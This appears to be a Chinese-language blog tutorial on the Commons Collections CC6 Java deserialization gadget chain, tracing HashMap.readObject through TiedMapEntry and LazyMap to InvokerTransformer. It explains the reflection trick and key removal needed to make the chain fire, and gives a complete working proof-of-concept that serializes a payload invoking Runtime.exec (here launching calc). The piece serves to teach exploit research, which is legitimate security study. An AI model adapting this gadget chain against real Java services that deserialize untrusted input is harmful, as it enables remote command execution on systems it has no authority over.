CC6-HashMap链

注:CC6不受JDK版本和commons-collections版本的限制,使用到的类都是一些比较原生态的类,限制没那么多。

实战分析

实现RCE的利用点还是和CC1的LazyMap链一样,利用到了InvokerTransformer类和LazyMap类实现。CC1的LazyMap链是使用到了AnnotationInvocationHandler的动态代理来调用到LazyMap类的get方法

CC6的话,利用到的类是:TiedMapEntry类,在getValue方法中,通过map参数去调用get方法

image-20240424001526837

map参数在构造方法中获得可控,那么传入LazyMap类即可构成链子

image-20240424001541140

接下来找哪里调用了getValue方法,搜索发现在本类中有个hashCode方法调用到了getValue方法

image-20240424001557746

看到hashCode方法,有经验的话;第一反应就能反应到HashMap类,HashMap类中的readObject方法,会间接触发调用到任意对象的hashCode方法

image-20240424001619675

hash方法中可传入任意对象,调用任意对象的hashCode方法,那么这里就可以给key参数传入TiedMapEntry类

image-20240424001654269

编写初步POC,因为TiedMapEntry类是public修饰的,所以不需要通过反射来调用

image-20240424001712794

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// 以上代码是为了实现Runtime参与序列化,反射调用RCE

Map<Object,Object> hashMap1 = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap1,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap,"aaa");

HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");

运行poc,发现在序列化的时候就弹出了计算器

image-20240424001738825

分析:

CC6和URLDNS那条链子一样,HashMap类的put方法也会触发hashCode方法,所以在序列化之前就构成了链子的入口。需要修改POC,可以在put的时候,调用一个不是目标利用点的地方,这样就不会触发RCE了

1
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));

这样子运行后,就不会调用到RCE的地方

image-20240424001809526

再通过反射,动态修改LazyMap类中的decorate方法的第二个参数,第二个参数是factory

image-20240424001826969

编写POC,这样在put的时候,因为链子没连上就不会触发RCE;在put结束后,通过反射又改回factory参数的值,重新连上链子;序列化的时候,最终存入的内容是成功的链子

1
2
3
4
5
// 反射修改LazyMap类的factory参数
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorateMap,chainedTransformer);

image-20240424001850676

取消注释反序列化函数,看看能否正常RCE;执行后发现仍然不弹出计算器

image-20240424001906986

注释反序列化函数,debug下个断点,调试一下看看;发现在序列化的时候,会进行put操作,在hashmap1集合中加入一个键值对

image-20240424001921102

查看hashmap1集合的内容

image-20240424001947475

注释序列化函数,取消注释反序列化函数,重新debug;发现无法进入IF判断了,也就无法执行transform方法,构不成链子

image-20240424002001421

通过计算表达式的结果,发现返回结果是true,所以进入不了IF判断

image-20240424002013301

map集合当前的键名是hashmap1,键值是aaa,这是之前序列化的时候传进来的。get方法的形参key的内容也是aaa,所以最后才导致表达式【map.containsKey(key)】返回结果是true,进入不了IF判断

image-20240424002030320

解决办法,删除hashmap1集合的键值即可;执行poc,成功弹出计算器

image-20240424002044274

完整POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
* @author shiyingai
* @create 2023-03-08 2:39
*/
public class CC6 {
public static void main(String[] args) throws Exception {

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// 以上代码是为了实现Runtime参与序列化,反射调用RCE

Map<Object,Object> hashMap1 = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap,"aaa");

Map<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");


Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorateMap,chainedTransformer);

decorateMap.remove("aaa");

serialize(hashMap2);

unserialize("ser.bin");
}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调用栈

1
2
3
4
5
6
7
8
9
->ObjectInputStream.readObject()
->HashMap.readObject()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()